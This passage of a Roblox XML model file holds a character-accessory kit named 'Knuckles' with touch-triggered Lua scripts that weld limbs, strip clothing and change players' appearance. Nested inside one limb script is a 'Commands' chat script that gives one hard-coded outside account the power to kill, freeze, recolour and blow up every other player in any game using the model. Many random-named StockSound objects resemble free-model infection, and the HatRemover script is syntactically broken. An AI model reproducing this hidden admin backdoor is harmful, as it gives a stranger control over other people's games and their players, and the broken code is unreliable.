					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">22</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">10</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1668">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1669">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Knuckles</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX1670">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1004</int>
					<CoordinateFrame name="CFrame">
						<X>68</X>
						<Y>0.900000036</Y>
						<Z>13</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Head</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>1</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX1671">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Arm1</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Arm1&quot;) == nil then
		local g = script.Parent.Parent.Arm1:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Left Arm&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1672">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ur1g0</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1673">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Leg1</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Leg1&quot;) == nil then
		local g = script.Parent.Parent.Leg1:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Left Leg&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1674">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2iwih8</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="CylinderMesh" referent="RBX1675">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1676">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">xmoodt</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1677">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">HatRemover</string>
						<string name="Source">function onTouched(hit) 
	local d = hit.Parent:GetChildren() 
	for i=1, #d do 
		if (d[i].className == &quot;Hat&quot;) and
		if (d[i].Name == &quot;Hair&quot;) then
			d[i]:remove() 
		end 
	end
end 

script.Parent.Touched:connect(onTouched) </string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1678">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1679">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ChangeShirt/Pants</string>
						<string name="Source">--theRal

worker = false
part = script.Parent

function onTouch(hit)
	local human = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if (human ~= nil) and (worker == false) then
		print (&quot;Success&quot;)
		worker = true
		wait(.1)
		local pant = hit.Parent:GetChildren()
		for i=1,#pant do
		if (pant[i].className == &quot;Pants&quot;) then
			pant[i].PantsTemplate = &quot;&quot;
			end
		end
		local shirt = hit.Parent:GetChildren()
		for i=1,#shirt do
		if (shirt[i].className == &quot;Shirt&quot;) then
			shirt[i].ShirtTemplate = &quot;&quot;
			wait(1)
			worker = false
			end
		end
	end
end

script.Parent.Touched:connect(onTouch)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1680">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">h8gnkeh</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1681">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function onTouch(part) 
local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if human ~= nil then 
part.Parent:findFirstChild(&quot;Head&quot;).BrickColor = BrickColor.new(125)
part.Parent:findFirstChild(&quot;Head&quot;).Transparency = 0.98
part.Parent:findFirstChild(&quot;Torso&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Torso&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Left Arm&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Right Arm&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Left Leg&quot;).CanCollide = true
part.Parent:findFirstChild(&quot;Left Leg&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Right Leg&quot;).CanCollide = true
part.Parent:findFirstChild(&quot;Right Leg&quot;).Transparency = 1
end 
end 
script.Parent.Touched:connect(onTouch) 

--COLORS

--1 = white
--208 = Light stone grey
--194 = Medium stone grey
--199 = Dark stone grey
--26 = Black
--21 = Bright red
--24 = Bright yellow
--226 = Cool yellow
--23 = Bright blue
--107 = Bright bluish green
--102 = Medium blue
--11 = Pastel blue
--45 = Light blue
--135 = Sand blue
--106 = Bright orange
--105 = Br. yellowish orange
--141 = Earth green
--28 = Dark green
--37 = Bright green
--119 = Br. yellowish green
--29 = Medium green
--151 = Sand green
--38 = Dark orange
--192 = Reddish brown
--104 = Bright violet
--9 = Light reddish violet
--101 = Medium red
--5 = Brick Yellow
--153 = Sand red
--217 = Brown
--18 = Nougat
--125 = Light orange

</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1682">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">p2qr0i</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1683">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">WalkSpeed Script</string>
						<string name="Source">local debounce = false 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then 

debounce = true 

human.WalkSpeed = 16-- or whatever number 

wait(2) 
debounce = false 
end 
end 


script.Parent.Touched:connect(onTouch) 
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1684">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">1j62htbs</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1685">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Leg2</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Leg2&quot;) == nil then
		local g = script.Parent.Parent.Leg2:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Right Leg&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1686">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">rbxa11</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1687">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Commands</string>
							<string name="Source">--SonOfSevenless originaly made this but I added a lot.

--Feel free to edit this but if it crashes then it&apos;s not my fault.
--Compaq

--Please leave the 4 above lines alone.

function onChatted(msg, recipient, speaker)

	-- convert to all lower case

	local source = string.lower(speaker.Name)
	msg = string.lower(msg)

	
	if (msg == &quot;normal&quot;) then
		game.Lighting.Ambient = Color3.new(131,131,131)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(133,133,133)
		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
	end

	if (msg == &quot;neon&quot;) then
		game.Lighting.Ambient = Color3.new(0,255,255)
		game.Lighting.ColorShift_Bottom = Color3.new(0,255,255)
		game.Lighting.ColorShift_Top = Color3.new(0,255,255)
		game.Lighting.ShadowColor = Color3.new(0,255,255)

	end

	if (msg == &quot;red&quot;) then
		game.Lighting.Ambient = Color3.new(255,0,0)
		game.Lighting.ColorShift_Bottom = Color3.new(255,0,0)
		game.Lighting.ColorShift_Top = Color3.new(255,0,0)
		game.Lighting.ShadowColor = Color3.new(255,0,0)
	end

	if (msg == &quot;yellow&quot;) then

		game.Lighting.Ambient = Color3.new(255,255,0)
		game.Lighting.ColorShift_Bottom = Color3.new(255,255,0)
		game.Lighting.ColorShift_Top = Color3.new(255,255,0)
		game.Lighting.ShadowColor = Color3.new(255,255,0)

	end

	if (msg == &quot;green&quot;) then

		game.Lighting.Ambient = Color3.new(0,255,0)
		game.Lighting.ColorShift_Bottom = Color3.new(0,255,0)
		game.Lighting.ColorShift_Top = Color3.new(0,255,0)
		game.Lighting.ShadowColor = Color3.new(0,255,0)

	end

	if (msg == &quot;blue&quot;) then

		game.Lighting.Ambient = Color3.new(0,0,255)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,255)
		game.Lighting.ColorShift_Top = Color3.new(0,0,255)
		game.Lighting.ShadowColor = Color3.new(0,0,255)

	end

	if (msg == &quot;black&quot;) then

		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.Ambient = Color3.new(0,0,0)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(0,0,0)

	end

	if (msg == &quot;betaish&quot;) then
		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.Ambient = Color3.new(0,0,0)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(0,0,0)
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
	end

	if (msg == &quot;white&quot;) then

		game.Lighting.Ambient = Color3.new(255,255,255)
		game.Lighting.ColorShift_Bottom = Color3.new(255,255,255)
		game.Lighting.ColorShift_Top = Color3.new(255,255,255)
		game.Lighting.ShadowColor = Color3.new(255,255,255)

	end

	if (msg == &quot;disco&quot;) then
		for a = 1, 20 do
			wait(0.5)
			game.Lighting.Ambient = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
			game.Lighting.ColorShift_Bottom = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
			game.Lighting.ColorShift_Top = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
			game.Lighting.ShadowColor = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
		end
		game.Lighting.Ambient = Color3.new(131,131,131)
		game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
		game.Lighting.ColorShift_Top = Color3.new(0,0,0)
		game.Lighting.ShadowColor = Color3.new(133,133,133)
		game.Lighting.TimeOfDay = &quot;00:00:00&quot;
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
	end

	-- Below is the admin commands.
	if (source ~= &quot;yeoj1323&quot;) then return end --Change brandonhare to your name.

	if (msg == &quot;die&quot;) then --Change this if you want.
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;U must die!&quot;--Change this if you want.
		m.Parent = game.Workspace
		wait(4)
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character.Humanoid.Health = 0
				end
			end
		end
		wait(2)
		m.Parent = nil
	end

	if (msg == &quot;peoplewhite&quot;) then
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character:findFirstChild(&quot;Head&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Torso&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Left Arm&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Right Arm&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Left Leg&quot;).BrickColor = BrickColor.new(00)
					c[i].Character:findFirstChild(&quot;Right Leg&quot;).BrickColor = BrickColor.new(00)

				end
			end
		end
	end

	if (msg == &quot;freeze&quot;) then
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character:findFirstChild(&quot;Torso&quot;).Anchored = true

				end
			end
		end
	end

	if (msg == &quot;yeoj1323&quot;) then
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character:findFirstChild(&quot;Torso&quot;).Anchored = false

				end
			end
		end
	end


	if (msg == &quot;kill&quot;) then --You may want to change this.
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;D&apos;oh&quot;--Change this. It&apos;s random.
		m.Parent = game.Workspace
		wait(4)
		local c = game.Players:children()
		for i=1,#c do
			if (string.lower(c[i].Name) ~= &quot;yeoj1323&quot;) then --Change brandonhare to your name.
				if (c[i].Character ~= nil and c[i].Character.Humanoid ~= nil) then
					c[i].Character.Humanoid.Health = 1
				end
			end
		end
		wait(2)
		m.Parent = nil
	end

	if (msg == &quot;boom&quot;) then--Change this to boom! or somthing if you want too.
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;woot!&quot;--You may want to change this
		m.Parent = game.Workspace
		wait(4)
		for i=1,100 do
			local x = math.random(17.5,76.5)
			local y = math.random(0,41.6)
			local z = math.random(-115,101)

			local r = math.random(6,16)

			local ex = Instance.new(&quot;Explosion&quot;)
			ex.Position = Vector3.new(x,y,z)
			ex.BlastRadius = r
			ex.Parent = game.Workspace
			wait(.05)
		end
		wait(2)
		m.Parent = nil
	end

	if (msg == &quot;bigboom&quot;) then
		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;WOOT!!!!&quot;
		m.Parent = game.Workspace
		wait(4)


		local ex = Instance.new(&quot;Explosion&quot;)
		ex.Position = Vector3.new(29.5,0.2,-7)--Change these numbers or the explosion might be somewhere unuseful.
		ex.BlastRadius = 300
		ex.Parent = game.Workspace
		m.Parent = nil
	end

	if (msg == &quot;listen&quot;) then

		local m = Instance.new(&quot;Message&quot;)
		m.Text = &quot;everyone listen to yeoj1323!!!!!!!!!!!!!!&quot;
		m.Parent = game.Workspace --Change BRANDONHARE (above) to your name.
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,0,0)
		game.Lighting.SpotLightV9 = Color3.new(255,0,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,0,0)
		wait(0.5)
		game.Lighting.TopAmbientV9 = Color3.new(255,255,0)
		game.Lighting.SpotLightV9 = Color3.new(255,255,0)
		game.Lighting.BottomAmbientV9 = Color3.new(255,255,0)
		wait(0.5)
		game.Lighting.TimeOfDay = &quot;0:00:00&quot;
		game.Lighting.TopAmbientV9 = Color3.new(215,214,223)
		game.Lighting.SpotLightV9 = Color3.new(197,197,197)
		game.Lighting.BottomAmbientV9 = Color3.new(122,140,120)
		game.Lighting.TimeOfDay = &quot;14:00:00&quot;
		m.Parent = nil
--Big eh?
	end

--Add more commands here. (Just copy and paste an existing one)

end

function onPlayerEntered(newPlayer)
	newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end

game.Players.ChildAdded:connect(onPlayerEntered)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1688">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Arm2</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Arm2&quot;) == nil then
		local g = script.Parent.Parent.Arm2:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Right Arm&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1689">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2p9wkr5c</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1690">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Torso</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Chest&quot;) == nil then
		local g = script.Parent.Parent.Chest:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent.Torso
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end
end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX1691">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">3b3i6j</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX1692">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">2846wgwjj</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1693">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
